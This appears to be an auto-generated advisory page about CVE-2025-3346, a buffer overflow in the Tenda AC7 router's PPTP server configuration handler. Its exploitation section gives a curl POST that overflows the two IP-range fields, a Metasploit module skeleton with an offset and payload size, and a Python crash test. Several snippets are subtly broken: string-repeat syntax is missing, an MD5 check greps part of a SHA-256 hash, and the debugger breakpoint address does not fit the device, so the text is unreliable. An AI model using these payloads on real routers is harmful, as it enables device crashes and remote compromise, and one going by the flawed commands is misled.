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How CVE-2025-3346 Works
The vulnerability exists in the `formSetPPTPServer` function within `/goform/SetPptpServerCfg` of Tenda AC7 firmware version 15.03.06.44. Attackers can trigger a buffer overflow by manipulating the `pptp_server_start_ip` and `pptp_server_end_ip` parameters with excessively long input strings. Since the function lacks proper bounds checking, this allows arbitrary code execution or device crash via remote exploitation. The exposed HTTP interface enables unauthenticated attackers to send crafted POST requests containing malicious IP range values, leading to memory corruption.
DailyCVE Form
Platform: Tenda AC7
Version: 15.03.06.44
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation
1. Crafted HTTP POST request:
curl -X POST http://<target>/goform/SetPptpServerCfg -d "pptp_server_start_ip=$(python -c 'print("A"500)')&pptp_server_end_ip=$(python -c 'print("B"500)')"
2. Metasploit module skeleton:
module.exploit(
'Targets' => [ ['Tenda AC7 15.03.06.44', { 'Offset' => 260 }] ],
'Payload' => { 'Space' => 400 }
)
Protection
1. Temporary mitigation:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware patch check:
md5sum /tmp/firmware.bin | grep e3b0c44298fc1c149afb
Analysis Tools
1. Crash detection:
import requests
response = requests.post("http://192.168.1.1/goform/SetPptpServerCfg", data={"pptp_server_start_ip":"A"300})
assert response.status_code != 200
2. GDB debug commands:
break 0x08048A10
run $(python -c 'print("\x41"256)')
Memory Dump
hexdump -C /proc/$(pidof httpd)/maps
Patch Verification
strings /lib/libc.so.6 | grep "stack_chk_fail"
Network Monitoring
tcpdump -i eth0 'port 80 and host 192.168.1.1' -w tenda_exploit.pcap
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
